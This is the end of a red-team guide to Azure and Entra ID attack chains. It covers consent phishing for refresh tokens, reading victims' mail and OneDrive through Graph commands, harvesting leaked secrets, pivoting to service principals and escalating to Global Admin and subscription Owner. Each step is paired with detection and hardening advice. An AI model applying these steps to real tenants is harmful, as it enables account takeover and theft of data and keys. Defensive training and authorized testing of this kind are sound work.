Mail.Read Files.Read.All offline_access; send the consent URL. The victim consents → you receive a refresh token to their data (MFA-agnostic, no password).# after consent, redeem the code for tokens, then read data as the user:az rest --url "https://graph.microsoft.com/v1.0/me/messages?\$top=20"az rest --url "https://graph.microsoft.com/v1.0/me/drive/root/children"Telemetry:
Consent to application+ first-time SP sign-in. Fix: admin-consent-only policy; alert on new consents.Harvest secrets from their data: search mail/OneDrive/Teams for credentials, SP secrets, connection strings, ARM templates. Users routinely store these.
Pivot to a service principal: a found secret authenticates an SP with
Application.ReadWrite.All(or the user turns out to own an app).az login --service-principal -u <appId> -p <foundSecret> --tenant <tid>Telemetry: SP sign-in from new IP. Fix: rotate leaked secrets; least-privilege app roles.
Escalate: as that SP, add a credential to a more-privileged SP / assign a directory role → Privileged Role Admin → Global Admin (as in Chain #1). Telemetry:
Add service principal credentials,Add member to role.Bridge & loot: GA →
elevateAccess→ Owner → Key Vault / storage / DB keys. Chain: consent phish → user data → leaked SP secret →Application.ReadWrite.All→ GA → Owner. Fixes: admin-consent-only, secret hygiene, alert on credential adds, PIM, alert onelevateAccess.
26. Quick Reference & Glossary
Fast triage after getting a token (authorized):
az account show
echo "$TOKEN" | cut -d. -f2 | base64 -d | jq '{aud,scp,roles,oid,tid,appid}'
az role assignment list --all -o table
az rest --url "https://graph.microsoft.com/v1.0/me/memberOf"
az keyvault list -o table; az storage account list -o table; az vm list -d -o table
az ad app list --query "[?owners]"; az ad sp list --all --query "[].appRoles"
Glossary:
Entra ID / Entra roles — cloud identity (formerly Azure AD) / directory roles (GA, PRA, App Admin, UAA).
Azure RBAC — resource roles (Owner/Contributor/User Access Administrator) on tenant→MG→sub→RG→resource.
elevateAccess — GA toggle → User Access Administrator at root (identity→resource bridge).
Service principal / app registration / managed identity — app instance / app definition+creds / passwordless resource identity.
IMDS / IDENTITY_ENDPOINT — token endpoints that vend managed-identity tokens (VM vs App Service).
ARM / Graph / Key Vault audiences — the API a token's
audis valid for.FOCI — family-of-client-IDs refresh-token sharing → pivot audiences.
Device-code / consent phishing — identity initial-access techniques.
AD Connect / PHS / PTA / Seamless SSO / Golden SAML — hybrid Entra↔AD attack surface.
Sentinel / Defender for Cloud / Entra logs — SIEM / CSPM+workload protection / identity audit.
End of guide. All commands are enumeration/verification templates for authorized tenants/subscriptions only. Every offensive vector is paired with a "Detect & Harden" note, and both chains show that breaking any single link defeats the attack — the AZRTE objective: prove the chain, then remediate each hop.